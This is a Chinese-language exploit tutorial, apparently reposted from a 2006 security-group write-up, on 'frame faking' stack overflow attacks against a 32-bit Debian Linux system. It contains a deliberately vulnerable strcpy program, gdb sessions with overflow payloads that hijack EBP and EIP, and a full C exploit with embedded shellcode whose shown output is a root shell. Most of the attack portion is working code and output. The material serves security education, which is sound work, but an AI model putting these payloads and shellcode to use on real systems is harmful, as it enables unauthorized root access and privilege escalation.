本文共 20023 字,大约阅读时间需要 66 分钟。
Advanced Exploit Techique之--frame faking技术
(PST)---------[ Subject : Advanced Exploit Techique之--frame faking技术 ]
---------[ Author : axis() ]---------[ Copyright : ]---------[ Date : 02/15/2006 ]---------[ Version : 1.0 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x210 - 前言
0x220 - frame faking原理分析 0x230 - Having Fun with Fake Frame 0x240 - frame faking拓展 0x250 - Exploit Demo 0x260 - Conclusion 0x270 - Reference|=-----------------------------------------------------------------------------=|
---------[ 0x210 - 前言 ]
Frame Faking是针对栈的操作,伪造一个fake frame,改变程序流程,在新的栈桢里执行我们想要执行的指令。 fake frame是非常灵活的,它可以放在任何你想放且可以放的地方,可以写任何你想写且可以写的东西。用来编写exploit里面,无疑又是另外一种绕过不可执行栈保护的方法。对于不检查返回地址是否改变的不可执行栈补丁,构造fake frame的方法可以轻易绕过。对于检查函数返回地址是否改变的不可执行栈补丁像execshield这种,可以参考我的另外一篇文章《Bypass Exec-shield Under Redhat》本文只讨论frame faking技术本身,不对绕过不可执行栈的技巧做具体说明,想进一步了解相关内容,可以参考我上面说的那篇文章。
本文的平台是Debian Linux 3.1r0
id
uid=1000(axis) gid=1000(axis) groups=1000(axis),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)uname -a
Linux debian-security 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linuxcat /etc/issue.net
Debian GNU/Linux 3.1 %h
---------[ 0x220 - frame faking原理分析 ]
我们知道,普通的buffer overflow的payload是这样写的+++++++++++++++
| dummy | EIP | +++++++++++++++用dummy来填充缓冲区,直到覆盖了ebp,然后接下来再用指定的地址覆盖EIP,让程序跳转到我们指定的地址去执行。
frame faking也是基于这个基本思想。在这之前,我们先来看一个例子
cat test.c
#include<stdio.h>void test(char *a){
char buf[256]; strcpy(buf,a); printf("buf is: %s/n",buf);}void t(int n){
n=0; n=n+1; printf("n is : %d/n",n);}int main(int argc,char *argv[]){
int i; test(argv[1]); t(i);return 0;
}gcc -o test test.c
./test AAAA
buf is: AAAAn is : 1正常情况下,函数test,t都会执行
gdb ./test -q
Using host libthread_db library "/lib/libthread_db.so.1".(gdb) disass mainDump of assembler code for function main:0x0804841f <main+0>: push %ebp0x08048420 <main+1>: mov %esp,%ebp0x08048422 <main+3>: sub $0x8,%esp0x08048425 <main+6>: and $0xfffffff0,%esp0x08048428 <main+9>: mov $0x0,%eax0x0804842d <main+14>: sub %eax,%esp0x0804842f <main+16>: mov 0xc(%ebp),%eax0x08048432 <main+19>: add $0x4,%eax0x08048435 <main+22>: mov (%eax),%eax0x08048437 <main+24>: mov %eax,(%esp)0x0804843a <main+27>: call 0x80483c4 <test>0x0804843f <main+32>: mov 0xfffffffc(%ebp),%eax0x08048442 <main+35>: mov %eax,(%esp)0x08048445 <main+38>: call 0x80483fa <t>0x0804844a <main+43>: mov $0x0,%eax0x0804844f <main+48>: leave 0x08048450 <main+49>: ret 0x08048451 <main+50>: nop 0x08048452 <main+51>: nop ... ... End of assembler dump.(gdb)反汇编main可以看到,首先
push %ebp mov %esp,%ebp而在main返回时,则是
leave ret而leave指令事实则是执行了
mov %ebp,%esp
pop %ebp 的操作,与main函数的开头刚好相反。事实上,在现在gcc的一般编译环境下,任何函数都是这样的一个过程。
那么如果我们构造如下payload
++++++++++++++++++++++++++++++++++++++
| dummy | fake EBP addr | leave addr | ++++++++++++++++++++++++++++++++++++++用dummy填充了buffer,然后用fake frame的EBP地址来填充 EBP,用leave指令的地址来填充EIP
这样程序就会马上去执行leave指令,当leave指令执行完后,ebp的内容就成了fake frame的ebp,eip就成了fake frame 的&(ebp)+4的内容
也就是以下的一个过程
BUFFER EBP EIP
++++++++++++++++++++++++++++++++++++++ | dummy | fake EBP addr | leave addr | ++++++++++++++++++++++++++++++++++++++ | ~~~~~~~~~~~~~~~~~~~| v ++++++++++++++++++++++++++++++++++++fake frame | dummy new | fake ebp | fake eip | ++++++++++++++++++++++++++++++++++++ 这样程序再执行的时候,就是在我们的fake frame里执行了,eip也变成了我们的fake eip而fake frame一般是我们自己构造的,那么我们就可以在我们想要的地方,控制eip了,而不是像以前一样简单的覆盖EIP如果程序本身将执行leave指令,那么我们甚至不需要用leave addr来覆盖EIP,而只需要覆盖到EBP,就可以完成我们的payload了!
---------[ 0x230 - Having Fun with Fake Frame ] 我们来看点实际的东西,还是上面那个test程序有漏洞的函数是test(gdb) disass test
Dump of assembler code for function test:0x080483c4 <test+0>: push %ebp0x080483c5 <test+1>: mov %esp,%ebp0x080483c7 <test+3>: sub $0x118,%esp0x080483cd <test+9>: mov 0x8(%ebp),%eax0x080483d0 <test+12>: mov %eax,0x4(%esp)0x080483d4 <test+16>: lea 0xfffffef8(%ebp),%eax0x080483da <test+22>: mov %eax,(%esp)0x080483dd <test+25>: call 0x80482e8 <_init+72>0x080483e2 <test+30>: lea 0xfffffef8(%ebp),%eax0x080483e8 <test+36>: mov %eax,0x4(%esp)0x080483ec <test+40>: movl $0x8048574,(%esp)0x080483f3 <test+47>: call 0x80482d8 <_init+56>0x080483f8 <test+52>: leave 0x080483f9 <test+53>: ret End of assembler dump.sub $0x118,%esp
减去dummy data后,应该用268字节来覆盖ebp
(gdb) r "`perl -e 'print "A"x268,"/x44/x43/x42/x41"'`"
Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x268,"/x44/x43/x42/x41"'`"buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBAProgram received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()(gdb)dummy的大小已经确定了
0x080483f8 <test+52>: leave test函数的leave在0x080483f8 ,我们就用这个地址好了我们先尝试一下跳转到buffer的最开始
gdb ./test -q
Using host libthread_db library "/lib/libthread_db.so.1".(gdb) b *test+52 =========》在leave处下个断点 Breakpoint 1 at 0x80483f8(gdb) r "`perl -e 'print "A"x272'`" Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x272'`"buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABreakpoint 1, 0x080483f8 in test ()
(gdb) x/20x $esp =========》可以看到buffer的起点在0xbffff8800xbffff870: 0x08048574 0xbffff880 0x4003130c 0xbffff8d00xbffff880: 0x41414141 0x41414141 0x41414141 0x414141410xbffff890: 0x41414141 0x41414141 0x41414141 0x414141410xbffff8a0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff8b0: 0x41414141 0x41414141 0x41414141 0x41414141(gdb)可以看到&buffer在0xbffff880,而&buffer-4的内容是0xbffff8d0
现在,我们用我们的frame faking 的方法来看看
根据我们的payload,我们要让eip变成buffer最开始的0x41414141那么,我们的fake ebp addr就应该是&buffer-4, 为0xbffff87c(gdb) r "`perl -e 'print "A"x264,"/x7c/xf8/xff/xbf","/xf8/x83/x04/x08"'`"
The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x264,"/x7c/xf8/xff/xbf","/xf8/x83/x04/x08"'`"
buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|?盔Breakpoint 1, 0x080483f8 in test () =======》第一次执行leave
(gdb) c Continuing.Breakpoint 1, 0x080483f8 in test () =======》第二次执行leave
(gdb) cContinuing.Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()(gdb) i regeax 0x119 281ecx 0x4014f2e0 1075114720edx 0x119 281ebx 0x40155880 1075140736esp 0xbffff884 0xbffff884ebp 0xbffff8d0 0xbffff8d0 ========》fake ebpesi 0x40016540 1073833280edi 0xbffff9f4 -1073743372eip 0x41414141 0x41414141 ========》fake eipeflags 0x246 582cs 0x23 35ss 0x2b 43ds 0x2b 43es 0x2b 43fs 0x0 0gs 0x0 0(gdb) x/20x $esp0xbffff884: 0x41414141 0x41414141 0x41414141 0x414141410xbffff894: 0x41414141 0x41414141 0x41414141 0x414141410xbffff8a4: 0x41414141 0x41414141 0x41414141 0x414141410xbffff8b4: 0x41414141 0x41414141 0x41414141 0x414141410xbffff8c4: 0x41414141 0x41414141 0x41414141 0x41414141(gdb) x/20x $esp-16 0xbffff874: 0xbffff880 0x4003130c 0xbffff8d0 0x414141410xbffff884: 0x41414141 0x41414141 0x41414141 0x414141410xbffff894: 0x41414141 0x41414141 0x41414141 0x414141410xbffff8a4: 0x41414141 0x41414141 0x41414141 0x414141410xbffff8b4: 0x41414141 0x41414141 0x41414141 0x41414141(gdb) x/x 0xbffff87c0xbffff87c: 0xbffff8d0(gdb) x/x 0xbffff8800xbffff880: 0x41414141(gdb)看,正如我们所构想的那样,程序流程跳转到我们想要的地方来执行了!
新的ebp是我们的fake ebp新的eip是我们的fake eip
---------[ 0x240 - frame faking拓展 ]
根据上面的分析,我们可以灵活多变的来构造fake frame,有时候,会带来一些有趣的东西
我们构造如下payload
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
v | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | ebp addr | leave addr | dummy to fill-up buffer | fake ebp addr | leave addr | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | A | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 我们把buffer的最前面构造成fake frame,用原来的ebp地址做fake ebp,eip覆盖为leave的addr,那么就构成了两个fake frame之间的循环按照payload执行如下
(gdb) r "`perl -e 'print "/x8c/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x8c/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"
buf is: 岡 緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?盔Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) x/20x $esp0xbffff990: 0xbffffb00 0xbffff9f4 0xbffff9c8 0x4003be360xbffff9a0: 0x00000002 0xbffff9f4 0xbffffa00 0x080483000xbffff9b0: 0x00000000 0x4000bcd0 0x40156d74 0x40016ca00xbffff9c0: 0x00000002 0x08048300 0x00000000 0x080483210xbffff9d0: 0x0804841f 0x00000002 0xbffff9f4 0x08048460(gdb) x/20x $esp-16 =========》确定好我们的raw ebp的addr,在这里应该是0xbffff9880xbffff980: 0x41414141 0x41414141 0xbffff880 0x080483f80xbffff990: 0xbffffb00 0xbffff9f4 0xbffff9c8 0x4003be360xbffff9a0: 0x00000002 0xbffff9f4 0xbffffa00 0x080483000xbffff9b0: 0x00000000 0x4000bcd0 0x40156d74 0x40016ca00xbffff9c0: 0x00000002 0x08048300 0x00000000 0x08048321修正后重新开始
(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"
The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"
buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?盔Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb)看,test()函数永远都执行不完了!
选择不同函数的leave addr得到的结果也不一样我们采用main函数的leave addr看看(gdb) disass mainDump of assembler code for function main:0x0804841f <main+0>: push %ebp0x08048420 <main+1>: mov %esp,%ebp0x08048422 <main+3>: sub $0x8,%esp0x08048425 <main+6>: and $0xfffffff0,%esp0x08048428 <main+9>: mov $0x0,%eax0x0804842d <main+14>: sub %eax,%esp0x0804842f <main+16>: mov 0xc(%ebp),%eax0x08048432 <main+19>: add $0x4,%eax0x08048435 <main+22>: mov (%eax),%eax0x08048437 <main+24>: mov %eax,(%esp)0x0804843a <main+27>: call 0x80483c4 <test>0x0804843f <main+32>: mov 0xfffffffc(%ebp),%eax0x08048442 <main+35>: mov %eax,(%esp)0x08048445 <main+38>: call 0x80483fa <t>0x0804844a <main+43>: mov $0x0,%eax0x0804844f <main+48>: leave 0x08048450 <main+49>: ret 0x08048451 <main+50>: nop(gdb) b *0x0804844f
Breakpoint 2 at 0x804844f(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/x4f/x84/x04/x08"'`"The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/x4f/x84/x04/x08"'`"
buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?縊 Breakpoint 1, 0x080483f8 in test ()(gdb) cContinuing.Breakpoint 2, 0x0804844f in main ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 2, 0x0804844f in main ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 2, 0x0804844f in main ()
(gdb) 程序开始在test()函数和main()函数之间来回打转了!我们可以看的更加细一些
(gdb) disass frame_dummy
Dump of assembler code for function frame_dummy:0x08048390 <frame_dummy+0>: push %ebp0x08048391 <frame_dummy+1>: mov %esp,%ebp0x08048393 <frame_dummy+3>: sub $0x8,%esp0x08048396 <frame_dummy+6>: mov 0x8049674,%eax0x0804839b <frame_dummy+11>: test %eax,%eax0x0804839d <frame_dummy+13>: je 0x80483c0 <frame_dummy+48>0x0804839f <frame_dummy+15>: mov $0x0,%eax0x080483a4 <frame_dummy+20>: test %eax,%eax0x080483a6 <frame_dummy+22>: je 0x80483c0 <frame_dummy+48>0x080483a8 <frame_dummy+24>: movl $0x8049674,(%esp)0x080483af <frame_dummy+31>: call 0x00x080483b4 <frame_dummy+36>: lea 0x0(%esi),%esi0x080483ba <frame_dummy+42>: lea 0x0(%edi),%edi0x080483c0 <frame_dummy+48>: mov %ebp,%esp ======》注意这里,实际上就是开始leave0x080483c2 <frame_dummy+50>: pop %ebp0x080483c3 <frame_dummy+51>: ret End of assembler dump.(gdb) b *0x080483c2Breakpoint 3 at 0x80483c2(gdb) b *0x080483c0Breakpoint 4 at 0x80483c0(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc2/x83/x04/x08"'`" The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc2/x83/x04/x08"'`"
Breakpoint 4, 0x080483c0 in frame_dummy ()
(gdb) cContinuing.Breakpoint 3, 0x080483c2 in frame_dummy ()
(gdb) cContinuing.buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?柯Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 3, 0x080483c2 in frame_dummy ()
(gdb) cContinuing.Program received signal SIGILL, Illegal instruction. ========>光是pop %ebp 是不行的
0xbffff9f4 in ?? ()(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc0/x83/x04/x08"'`" The program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc0/x83/x04/x08"'`"
Breakpoint 4, 0x080483c0 in frame_dummy ()
(gdb) cContinuing.Breakpoint 3, 0x080483c2 in frame_dummy ()
(gdb) cContinuing.buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?坷Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 4, 0x080483c0 in frame_dummy ()
(gdb) cContinuing.Breakpoint 3, 0x080483c2 in frame_dummy ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 4, 0x080483c0 in frame_dummy ()
(gdb) cContinuing.Breakpoint 3, 0x080483c2 in frame_dummy ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 4, 0x080483c0 in frame_dummy ()
(gdb) cContinuing.Breakpoint 3, 0x080483c2 in frame_dummy ()
(gdb) cContinuing.Breakpoint 1, 0x080483f8 in test ()
(gdb) cContinuing.Breakpoint 4, 0x080483c0 in frame_dummy ()
(gdb)所以,我们payload需要的leave指令实际上是只要执行mov %ebp,%esp
通过构造fake frame,可以随心所欲的控制程序流程,你可以把一个函数执行了一遍又一遍,你就是上帝!
---------[ 0x250 - Exploit Demo ]
终于到重点了。
利用fake frame来获得系统控制权的方法实在是太灵活多样了,因为整个frame完全是你faking出来的,那么实际上就是欺骗程序让它来执行你指定的流程。比如,你可以把fake frame的eip设定为shellcode的地址,又或者把fake frame的eip设定为return into libc所需要的函数入口地址。
怎样随心所欲就要看你的想象力和创造力了。比较复杂的一种方法就是构造个与原来的frame非常相似的fake frame
比如,原来的函数里是原来的frame是
++++++++++++++++++++++++++++++++++++++++++++ | &printf | addr of AAAA |raw ebp |raw eip | ++++++++++++++++++++++++++++++++++++++++++++ 这里的raw eip应该是整个函数的ret 原本会执行 prinf("AAAA");的操作但如果构造了 fake frame,通过frame faking改变流程后
构造的fake frame 如下
+++++++++++++++++++++++++++++++++++++++++++++++ | &system | addr of /bin/sh |raw ebp |raw eip | +++++++++++++++++++++++++++++++++++++++++++++++fake ebp和fake eip都和raw ebp,raw eip一样,而前面的函数则用system替换
那么这个时候程序就会执行 system("/bin/sh");这种方法是要在整个frame里寻找一个“有用”的函数,来让我们顺利的构造fake frame
具体请参考gotfault上的一篇文章《Function Stack Frame Manipulation》 这里我们简单演示下如果利用fake frame来写exploit我们的payload很简单
&buffer(fake ebp) (fake eip) (&buffer+8) (fake ebp addr)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | 4 bytes dummy | &buffer+8 | NOPS | shellcode | &buffer | leave addr | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ A | A | | | | | | ~~~~~~~~~~~~ | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~这里说个小插曲
vangelis在他的paper《Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique》里提到的frame faking 时,构造的exp是错误的 他的payload没错 ------------------------------------------------------ | data to overflow buffer | fake_ebp0 | leaveret | ------------------------------------------------------但在演示的时候,他直接把fake_ebp0用shellcode的地址替换了,这就不正确了
在他的paper中,他直接把EIP给覆盖成了shellcode地址,所以他演示成功了但实际上,应该是用leaveret来覆盖EIP,fake_ebp0应该是fake_ebp1的地址
而fake_eip1才应该是shellcode的地址.回到本文上来.根据我们上面提出的payload,我们构造如下exploit cat ex_framefaking.c/*
fake frame demo exploit
coded by axisuse payload
| dummy | fake ebp0 | main's leave ret addr|here is
| dummy 4 bytes to fake ebp | fake eip, addr of buf +8 to nops | NOPS | shellcode | fake ebp,here use addr of buf(overwrite the ebp) | vul's main()'s leave|
*/
#include<stdio.h>
char shellcode[]=
"/x55/x89/xe5/x55/x89/xe5/x83/xec/x28/xc6/x45/xd8/x2f/xc6/x45/xdc/x2f/xc6/x45/xd9/x5f/xc6/x45/xda/x5a/xc6/x45/xdb/x5f/xc6/x45/xdd/x5f/xc6/x45/xde/x5f/x83/x45/xd9/x03/x83/x45/xda/x0f/x83/x45/xdb/x0f/x83/x45/xdd/x14/x83/x45/xde/x09/x31/xc0/x89/x45/xdf/x89/x45/xf4/x8d/x45/xd8/x89/x45/xf0/x83/xec/x04/x8d/x45/xf0/x31/xd2/x89/xd3/x89/xc1/x8b/x45/xf0/x89/xc3/x31/xc0/x83/xc0/x0b/xcd/x80/x31/xc0/x40/xcd/x80"; //这段shellcode是teso的一段bind shellcode,100 bytes,放到这里大材小用了int main(int argc,char *argv[]){
char buf[272];char *args[]={"./test",buf,NULL};memset(buf,0x90,sizeof(buf));
memcpy(buf+130,shellcode,100);memcpy(buf+4,"/xdb/xfe/xff/xbf",4); // buf + 8 's addr ===>nops
memcpy(buf+264,"/xd3/xfe/xff/xbf",4); //buf's addr to overwrite the ebp
memcpy(buf+268,"/x4f/x84/x04/x08",4); // main's leave addr execve("./test",args,NULL);return 0;
}
gcc -o ex_framefaking ex_framefaking.c./ex_framefaking E?覊訅翄E饓?纼
buf is: 悙悙埝 繍悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙E貕E饍悙悙悙悙悙悙悙悙蛝1繞蛝悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙誉 縊悙悙悙怳夊U夊冹(艵?艵?艵賍艵赯艵踎艵輄艵轤僂僂僂僂僂 1缐E邏E @e@4 ?@sh-2.05b# iduid=1000(axis) gid=1000(axis) euid=0(root) groups=1000(axis),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)sh-2.05b# uname -aLinux debian-security 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linuxsh-2.05b# cat /etc/issue.netDebian GNU/Linux 3.1 %hsh-2.05b#看!我们成功拿到rootshell了!
---------[ 0x260 - Conclusion ] frame faking是一种高级的exploit技术,形式非常灵活,是写exploit的强大武器,在很多不可执行栈保护的补丁下仍然有用武之地。更为灵活的利用方式,有赖于丰富的想象力和创造力。 Thanks to all guys from ph4nt0m!
Welcome to Ph4nt0m!
Welcome to Secwiki!
---------[ 0x270 - Reference ]
《Function Stack Frame Manipulation》 by barros A.K.A Carlos Barros《The advanced return-into-lib(c) exploits》 by Nergal
《绕过Pax内核补丁保护的方法浅析---高级的return-into-lib(c) exploits技术》 by alert7
转载地址:http://ornob.baihongyu.com/